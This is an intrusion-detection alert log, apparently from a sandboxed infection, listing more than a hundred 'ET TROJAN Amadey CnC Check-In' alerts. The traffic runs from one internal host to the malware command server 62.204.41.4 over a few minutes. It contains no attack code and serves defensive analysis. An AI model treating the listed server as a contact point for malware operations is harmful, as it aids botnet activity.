192.168.2.762.204.41.449733802027700 02/06/23-18:35:59.781456	TCP	2027700	ET TROJAN Amadey CnC Check-In	49733	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450000802027700 02/06/23-18:37:14.484343	TCP	2027700	ET TROJAN Amadey CnC Check-In	50000	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450079802027700 02/06/23-18:37:34.965164	TCP	2027700	ET TROJAN Amadey CnC Check-In	50079	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450082802027700 02/06/23-18:37:35.692289	TCP	2027700	ET TROJAN Amadey CnC Check-In	50082	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450309802027700 02/06/23-18:38:35.147885	TCP	2027700	ET TROJAN Amadey CnC Check-In	50309	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450254802027700 02/06/23-18:38:20.179240	TCP	2027700	ET TROJAN Amadey CnC Check-In	50254	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449782802027700 02/06/23-18:36:11.473355	TCP	2027700	ET TROJAN Amadey CnC Check-In	49782	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449852802027700 02/06/23-18:36:29.914060	TCP	2027700	ET TROJAN Amadey CnC Check-In	49852	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450180802027700 02/06/23-18:38:00.687932	TCP	2027700	ET TROJAN Amadey CnC Check-In	50180	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449754802027700 02/06/23-18:36:04.905748	TCP	2027700	ET TROJAN Amadey CnC Check-In	49754	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449926802027700 02/06/23-18:36:52.489079	TCP	2027700	ET TROJAN Amadey CnC Check-In	49926	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450287802027700 02/06/23-18:38:29.798910	TCP	2027700	ET TROJAN Amadey CnC Check-In	50287	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449959802027700 02/06/23-18:37:02.027473	TCP	2027700	ET TROJAN Amadey CnC Check-In	49959	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450226802027700 02/06/23-18:38:13.375752	TCP	2027700	ET TROJAN Amadey CnC Check-In	50226	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450324802027700 02/06/23-18:38:38.548279	TCP	2027700	ET TROJAN Amadey CnC Check-In	50324	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450290802027700 02/06/23-18:38:30.501538	TCP	2027700	ET TROJAN Amadey CnC Check-In	50290	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450116802027700 02/06/23-18:37:43.857816	TCP	2027700	ET TROJAN Amadey CnC Check-In	50116	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449962802027700 02/06/23-18:37:02.769565	TCP	2027700	ET TROJAN Amadey CnC Check-In	49962	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450018802027700 02/06/23-18:37:19.057349	TCP	2027700	ET TROJAN Amadey CnC Check-In	50018	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450033802027700 02/06/23-18:37:22.700596	TCP	2027700	ET TROJAN Amadey CnC Check-In	50033	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450189802027700 02/06/23-18:38:02.860152	TCP	2027700	ET TROJAN Amadey CnC Check-In	50189	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449787802027700 02/06/23-18:36:12.665967	TCP	2027700	ET TROJAN Amadey CnC Check-In	49787	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450218802027700 02/06/23-18:38:11.455700	TCP	2027700	ET TROJAN Amadey CnC Check-In	50218	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450152802027700 02/06/23-18:37:54.029428	TCP	2027700	ET TROJAN Amadey CnC Check-In	50152	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450365802027700 02/06/23-18:38:50.493705	TCP	2027700	ET TROJAN Amadey CnC Check-In	50365	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450282802027700 02/06/23-18:38:28.628161	TCP	2027700	ET TROJAN Amadey CnC Check-In	50282	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449995802027700 02/06/23-18:37:11.226045	TCP	2027700	ET TROJAN Amadey CnC Check-In	49995	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450111802027700 02/06/23-18:37:42.623221	TCP	2027700	ET TROJAN Amadey CnC Check-In	50111	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449824802027700 02/06/23-18:36:23.412568	TCP	2027700	ET TROJAN Amadey CnC Check-In	49824	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449741802027700 02/06/23-18:36:01.744620	TCP	2027700	ET TROJAN Amadey CnC Check-In	49741	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449954802027700 02/06/23-18:37:00.821017	TCP	2027700	ET TROJAN Amadey CnC Check-In	49954	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450337802027700 02/06/23-18:38:41.721828	TCP	2027700	ET TROJAN Amadey CnC Check-In	50337	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450046802027700 02/06/23-18:37:25.862441	TCP	2027700	ET TROJAN Amadey CnC Check-In	50046	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449759802027700 02/06/23-18:36:06.092268	TCP	2027700	ET TROJAN Amadey CnC Check-In	49759	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450360802027700 02/06/23-18:38:49.288881	TCP	2027700	ET TROJAN Amadey CnC Check-In	50360	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449889802027700 02/06/23-18:36:40.164302	TCP	2027700	ET TROJAN Amadey CnC Check-In	49889	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450005802027700 02/06/23-18:37:15.731218	TCP	2027700	ET TROJAN Amadey CnC Check-In	50005	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450259802027700 02/06/23-18:38:21.378414	TCP	2027700	ET TROJAN Amadey CnC Check-In	50259	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450087802027700 02/06/23-18:37:36.937901	TCP	2027700	ET TROJAN Amadey CnC Check-In	50087	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450124802027700 02/06/23-18:37:45.767098	TCP	2027700	ET TROJAN Amadey CnC Check-In	50124	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450026802027700 02/06/23-18:37:21.007243	TCP	2027700	ET TROJAN Amadey CnC Check-In	50026	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449982802027700 02/06/23-18:37:07.790106	TCP	2027700	ET TROJAN Amadey CnC Check-In	49982	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449988802027700 02/06/23-18:37:09.232773	TCP	2027700	ET TROJAN Amadey CnC Check-In	49988	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450255802027700 02/06/23-18:38:20.425505	TCP	2027700	ET TROJAN Amadey CnC Check-In	50255	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449921802027700 02/06/23-18:36:50.850422	TCP	2027700	ET TROJAN Amadey CnC Check-In	49921	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449734802027700 02/06/23-18:36:00.024734	TCP	2027700	ET TROJAN Amadey CnC Check-In	49734	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450001802027700 02/06/23-18:37:14.735617	TCP	2027700	ET TROJAN Amadey CnC Check-In	50001	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450157802027700 02/06/23-18:37:55.206071	TCP	2027700	ET TROJAN Amadey CnC Check-In	50157	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450353802027700 02/06/23-18:38:47.570344	TCP	2027700	ET TROJAN Amadey CnC Check-In	50353	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449725802027700 02/06/23-18:35:56.007022	TCP	2027700	ET TROJAN Amadey CnC Check-In	49725	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449823802027700 02/06/23-18:36:23.177069	TCP	2027700	ET TROJAN Amadey CnC Check-In	49823	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449979802027700 02/06/23-18:37:06.951379	TCP	2027700	ET TROJAN Amadey CnC Check-In	49979	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449790802027700 02/06/23-18:36:13.365591	TCP	2027700	ET TROJAN Amadey CnC Check-In	49790	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449832802027700 02/06/23-18:36:25.351769	TCP	2027700	ET TROJAN Amadey CnC Check-In	49832	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450344802027700 02/06/23-18:38:44.257733	TCP	2027700	ET TROJAN Amadey CnC Check-In	50344	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450246802027700 02/06/23-18:38:18.266167	TCP	2027700	ET TROJAN Amadey CnC Check-In	50246	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450184802027700 02/06/23-18:38:01.659964	TCP	2027700	ET TROJAN Amadey CnC Check-In	50184	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450143802027700 02/06/23-18:37:51.857942	TCP	2027700	ET TROJAN Amadey CnC Check-In	50143	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449781802027700 02/06/23-18:36:11.243044	TCP	2027700	ET TROJAN Amadey CnC Check-In	49781	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450095802027700 02/06/23-18:37:38.824933	TCP	2027700	ET TROJAN Amadey CnC Check-In	50095	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449963802027700 02/06/23-18:37:03.026261	TCP	2027700	ET TROJAN Amadey CnC Check-In	49963	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449893802027700 02/06/23-18:36:41.133872	TCP	2027700	ET TROJAN Amadey CnC Check-In	49893	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449922802027700 02/06/23-18:36:51.089881	TCP	2027700	ET TROJAN Amadey CnC Check-In	49922	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450115802027700 02/06/23-18:37:43.614292	TCP	2027700	ET TROJAN Amadey CnC Check-In	50115	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450185802027700 02/06/23-18:38:01.897079	TCP	2027700	ET TROJAN Amadey CnC Check-In	50185	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449851802027700 02/06/23-18:36:29.678141	TCP	2027700	ET TROJAN Amadey CnC Check-In	49851	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449804802027700 02/06/23-18:36:18.533346	TCP	2027700	ET TROJAN Amadey CnC Check-In	49804	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449762802027700 02/06/23-18:36:06.819557	TCP	2027700	ET TROJAN Amadey CnC Check-In	49762	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450227802027700 02/06/23-18:38:13.624631	TCP	2027700	ET TROJAN Amadey CnC Check-In	50227	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450061802027700 02/06/23-18:37:29.246156	TCP	2027700	ET TROJAN Amadey CnC Check-In	50061	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450316802027700 02/06/23-18:38:36.846930	TCP	2027700	ET TROJAN Amadey CnC Check-In	50316	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450020802027700 02/06/23-18:37:19.544837	TCP	2027700	ET TROJAN Amadey CnC Check-In	50020	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450274802027700 02/06/23-18:38:25.337791	TCP	2027700	ET TROJAN Amadey CnC Check-In	50274	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450070802027700 02/06/23-18:37:32.801483	TCP	2027700	ET TROJAN Amadey CnC Check-In	50070	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449794802027700 02/06/23-18:36:14.301275	TCP	2027700	ET TROJAN Amadey CnC Check-In	49794	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449938802027700 02/06/23-18:36:57.008660	TCP	2027700	ET TROJAN Amadey CnC Check-In	49938	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450073802027700 02/06/23-18:37:33.536848	TCP	2027700	ET TROJAN Amadey CnC Check-In	50073	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450058802027700 02/06/23-18:37:28.499164	TCP	2027700	ET TROJAN Amadey CnC Check-In	50058	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450156802027700 02/06/23-18:37:54.967951	TCP	2027700	ET TROJAN Amadey CnC Check-In	50156	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450067802027700 02/06/23-18:37:31.325633	TCP	2027700	ET TROJAN Amadey CnC Check-In	50067	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449880802027700 02/06/23-18:36:37.960430	TCP	2027700	ET TROJAN Amadey CnC Check-In	49880	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449950802027700 02/06/23-18:36:59.857429	TCP	2027700	ET TROJAN Amadey CnC Check-In	49950	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449766802027700 02/06/23-18:36:07.787301	TCP	2027700	ET TROJAN Amadey CnC Check-In	49766	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450128802027700 02/06/23-18:37:46.748438	TCP	2027700	ET TROJAN Amadey CnC Check-In	50128	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449864802027700 02/06/23-18:36:32.756228	TCP	2027700	ET TROJAN Amadey CnC Check-In	49864	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449775802027700 02/06/23-18:36:09.999214	TCP	2027700	ET TROJAN Amadey CnC Check-In	49775	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450214802027700 02/06/23-18:38:10.502845	TCP	2027700	ET TROJAN Amadey CnC Check-In	50214	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449849802027700 02/06/23-18:36:29.177906	TCP	2027700	ET TROJAN Amadey CnC Check-In	49849	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449947802027700 02/06/23-18:36:59.148434	TCP	2027700	ET TROJAN Amadey CnC Check-In	49947	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450042802027700 02/06/23-18:37:24.857893	TCP	2027700	ET TROJAN Amadey CnC Check-In	50042	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450140802027700 02/06/23-18:37:51.157275	TCP	2027700	ET TROJAN Amadey CnC Check-In	50140	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450296802027700 02/06/23-18:38:31.975155	TCP	2027700	ET TROJAN Amadey CnC Check-In	50296	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450131802027700 02/06/23-18:37:47.485008	TCP	2027700	ET TROJAN Amadey CnC Check-In	50131	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450312802027700 02/06/23-18:38:35.876032	TCP	2027700	ET TROJAN Amadey CnC Check-In	50312	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450303802027700 02/06/23-18:38:33.662984	TCP	2027700	ET TROJAN Amadey CnC Check-In	50303	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450086802027700 02/06/23-18:37:36.704777	TCP	2027700	ET TROJAN Amadey CnC Check-In	50086	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449919802027700 02/06/23-18:36:50.383743	TCP	2027700	ET TROJAN Amadey CnC Check-In	49919	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450299802027700 02/06/23-18:38:32.713859	TCP	2027700	ET TROJAN Amadey CnC Check-In	50299	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450045802027700 02/06/23-18:37:25.620164	TCP	2027700	ET TROJAN Amadey CnC Check-In	50045	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450169802027700 02/06/23-18:37:58.055436	TCP	2027700	ET TROJAN Amadey CnC Check-In	50169	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449991802027700 02/06/23-18:37:09.959911	TCP	2027700	ET TROJAN Amadey CnC Check-In	49991	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450039802027700 02/06/23-18:37:24.123203	TCP	2027700	ET TROJAN Amadey CnC Check-In	50039	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450017802027700 02/06/23-18:37:18.799281	TCP	2027700	ET TROJAN Amadey CnC Check-In	50017	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450366802027700 02/06/23-18:38:50.739823	TCP	2027700	ET TROJAN Amadey CnC Check-In	50366	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449747802027700 02/06/23-18:36:03.176630	TCP	2027700	ET TROJAN Amadey CnC Check-In	49747	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449877802027700 02/06/23-18:36:37.241186	TCP	2027700	ET TROJAN Amadey CnC Check-In	49877	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450112802027700 02/06/23-18:37:42.889738	TCP	2027700	ET TROJAN Amadey CnC Check-In	50112	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449966802027700 02/06/23-18:37:03.777402	TCP	2027700	ET TROJAN Amadey CnC Check-In	49966	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449753802027700 02/06/23-18:36:04.648625	TCP	2027700	ET TROJAN Amadey CnC Check-In	49753	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449836802027700 02/06/23-18:36:26.304985	TCP	2027700	ET TROJAN Amadey CnC Check-In	49836	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450283802027700 02/06/23-18:38:28.863963	TCP	2027700	ET TROJAN Amadey CnC Check-In	50283	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450325802027700 02/06/23-18:38:38.783317	TCP	2027700	ET TROJAN Amadey CnC Check-In	50325	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450201802027700 02/06/23-18:38:05.815511	TCP	2027700	ET TROJAN Amadey CnC Check-In	50201	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450242802027700 02/06/23-18:38:17.282353	TCP	2027700	ET TROJAN Amadey CnC Check-In	50242	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450331802027700 02/06/23-18:38:40.257821	TCP	2027700	ET TROJAN Amadey CnC Check-In	50331	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449900802027700 02/06/23-18:36:42.821925	TCP	2027700	ET TROJAN Amadey CnC Check-In	49900	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450323802027700 02/06/23-18:38:38.290728	TCP	2027700	ET TROJAN Amadey CnC Check-In	50323	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449961802027700 02/06/23-18:37:02.522336	TCP	2027700	ET TROJAN Amadey CnC Check-In	49961	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450032802027700 02/06/23-18:37:22.465405	TCP	2027700	ET TROJAN Amadey CnC Check-In	50032	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449878802027700 02/06/23-18:36:37.478498	TCP	2027700	ET TROJAN Amadey CnC Check-In	49878	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450127802027700 02/06/23-18:37:46.506415	TCP	2027700	ET TROJAN Amadey CnC Check-In	50127	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449750802027700 02/06/23-18:36:03.933992	TCP	2027700	ET TROJAN Amadey CnC Check-In	49750	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450050802027700 02/06/23-18:37:26.808863	TCP	2027700	ET TROJAN Amadey CnC Check-In	50050	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449737802027700 02/06/23-18:36:00.769094	TCP	2027700	ET TROJAN Amadey CnC Check-In	49737	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449896802027700 02/06/23-18:36:41.854218	TCP	2027700	ET TROJAN Amadey CnC Check-In	49896	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450004802027700 02/06/23-18:37:15.494599	TCP	2027700	ET TROJAN Amadey CnC Check-In	50004	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450341802027700 02/06/23-18:38:42.838470	TCP	2027700	ET TROJAN Amadey CnC Check-In	50341	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450356802027700 02/06/23-18:38:48.308768	TCP	2027700	ET TROJAN Amadey CnC Check-In	50356	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449994802027700 02/06/23-18:37:10.684632	TCP	2027700	ET TROJAN Amadey CnC Check-In	49994	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449915802027700 02/06/23-18:36:49.430014	TCP	2027700	ET TROJAN Amadey CnC Check-In	49915	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450145802027700 02/06/23-18:37:52.348178	TCP	2027700	ET TROJAN Amadey CnC Check-In	50145	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449793802027700 02/06/23-18:36:14.067336	TCP	2027700	ET TROJAN Amadey CnC Check-In	49793	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449933802027700 02/06/23-18:36:55.825769	TCP	2027700	ET TROJAN Amadey CnC Check-In	49933	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450163802027700 02/06/23-18:37:56.641063	TCP	2027700	ET TROJAN Amadey CnC Check-In	50163	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449755802027700 02/06/23-18:36:05.145544	TCP	2027700	ET TROJAN Amadey CnC Check-In	49755	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450155802027700 02/06/23-18:37:54.734217	TCP	2027700	ET TROJAN Amadey CnC Check-In	50155	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449951802027700 02/06/23-18:37:00.088634	TCP	2027700	ET TROJAN Amadey CnC Check-In	49951	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450060802027700 02/06/23-18:37:28.997105	TCP	2027700	ET TROJAN Amadey CnC Check-In	50060	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449827802027700 02/06/23-18:36:24.116181	TCP	2027700	ET TROJAN Amadey CnC Check-In	49827	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449910802027700 02/06/23-18:36:48.230042	TCP	2027700	ET TROJAN Amadey CnC Check-In	49910	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450351802027700 02/06/23-18:38:47.071030	TCP	2027700	ET TROJAN Amadey CnC Check-In	50351	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449732802027700 02/06/23-18:35:59.129342	TCP	2027700	ET TROJAN Amadey CnC Check-In	49732	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449809802027700 02/06/23-18:36:19.755075	TCP	2027700	ET TROJAN Amadey CnC Check-In	49809	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450196802027700 02/06/23-18:38:04.592802	TCP	2027700	ET TROJAN Amadey CnC Check-In	50196	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450328802027700 02/06/23-18:38:39.535775	TCP	2027700	ET TROJAN Amadey CnC Check-In	50328	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450109802027700 02/06/23-18:37:42.135759	TCP	2027700	ET TROJAN Amadey CnC Check-In	50109	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450178802027700 02/06/23-18:38:00.218801	TCP	2027700	ET TROJAN Amadey CnC Check-In	50178	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449773802027700 02/06/23-18:36:09.507798	TCP	2027700	ET TROJAN Amadey CnC Check-In	49773	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450137802027700 02/06/23-18:37:50.172258	TCP	2027700	ET TROJAN Amadey CnC Check-In	50137	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450333802027700 02/06/23-18:38:40.754989	TCP	2027700	ET TROJAN Amadey CnC Check-In	50333	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449810802027700 02/06/23-18:36:19.991660	TCP	2027700	ET TROJAN Amadey CnC Check-In	49810	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450305802027700 02/06/23-18:38:34.163427	TCP	2027700	ET TROJAN Amadey CnC Check-In	50305	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450173802027700 02/06/23-18:37:59.034324	TCP	2027700	ET TROJAN Amadey CnC Check-In	50173	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449905802027700 02/06/23-18:36:44.026160	TCP	2027700	ET TROJAN Amadey CnC Check-In	49905	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450210802027700 02/06/23-18:38:09.556488	TCP	2027700	ET TROJAN Amadey CnC Check-In	50210	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450268802027700 02/06/23-18:38:23.521301	TCP	2027700	ET TROJAN Amadey CnC Check-In	50268	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449727802027700 02/06/23-18:35:56.731345	TCP	2027700	ET TROJAN Amadey CnC Check-In	49727	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449868802027700 02/06/23-18:36:33.899866	TCP	2027700	ET TROJAN Amadey CnC Check-In	49868	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450251802027700 02/06/23-18:38:19.454938	TCP	2027700	ET TROJAN Amadey CnC Check-In	50251	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450191802027700 02/06/23-18:38:03.374137	TCP	2027700	ET TROJAN Amadey CnC Check-In	50191	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449837802027700 02/06/23-18:36:26.550389	TCP	2027700	ET TROJAN Amadey CnC Check-In	49837	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450168802027700 02/06/23-18:37:57.812117	TCP	2027700	ET TROJAN Amadey CnC Check-In	50168	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450165802027700 02/06/23-18:37:57.109837	TCP	2027700	ET TROJAN Amadey CnC Check-In	50165	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450300802027700 02/06/23-18:38:32.957646	TCP	2027700	ET TROJAN Amadey CnC Check-In	50300	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449898802027700 02/06/23-18:36:42.338054	TCP	2027700	ET TROJAN Amadey CnC Check-In	49898	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449981802027700 02/06/23-18:37:07.544608	TCP	2027700	ET TROJAN Amadey CnC Check-In	49981	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449941802027700 02/06/23-18:36:57.711371	TCP	2027700	ET TROJAN Amadey CnC Check-In	49941	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450318802027700 02/06/23-18:38:37.320679	TCP	2027700	ET TROJAN Amadey CnC Check-In	50318	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450346802027700 02/06/23-18:38:45.811035	TCP	2027700	ET TROJAN Amadey CnC Check-In	50346	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449956802027700 02/06/23-18:37:01.309389	TCP	2027700	ET TROJAN Amadey CnC Check-In	49956	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450030802027700 02/06/23-18:37:21.969699	TCP	2027700	ET TROJAN Amadey CnC Check-In	50030	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449763802027700 02/06/23-18:36:07.067396	TCP	2027700	ET TROJAN Amadey CnC Check-In	49763	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450315802027700 02/06/23-18:38:36.612364	TCP	2027700	ET TROJAN Amadey CnC Check-In	50315	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449778802027700 02/06/23-18:36:10.754396	TCP	2027700	ET TROJAN Amadey CnC Check-In	49778	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449800802027700 02/06/23-18:36:16.519327	TCP	2027700	ET TROJAN Amadey CnC Check-In	49800	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449971802027700 02/06/23-18:37:04.988037	TCP	2027700	ET TROJAN Amadey CnC Check-In	49971	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450122802027700 02/06/23-18:37:45.289416	TCP	2027700	ET TROJAN Amadey CnC Check-In	50122	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450278802027700 02/06/23-18:38:27.635526	TCP	2027700	ET TROJAN Amadey CnC Check-In	50278	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450107802027700 02/06/23-18:37:41.653833	TCP	2027700	ET TROJAN Amadey CnC Check-In	50107	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450022802027700 02/06/23-18:37:20.029901	TCP	2027700	ET TROJAN Amadey CnC Check-In	50022	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449752802027700 02/06/23-18:36:04.410535	TCP	2027700	ET TROJAN Amadey CnC Check-In	49752	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450313802027700 02/06/23-18:38:36.114307	TCP	2027700	ET TROJAN Amadey CnC Check-In	50313	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450241802027700 02/06/23-18:38:17.040111	TCP	2027700	ET TROJAN Amadey CnC Check-In	50241	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449865802027700 02/06/23-18:36:32.990534	TCP	2027700	ET TROJAN Amadey CnC Check-In	49865	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450193802027700 02/06/23-18:38:03.846258	TCP	2027700	ET TROJAN Amadey CnC Check-In	50193	80	192.168.2.7	62.204.41.4
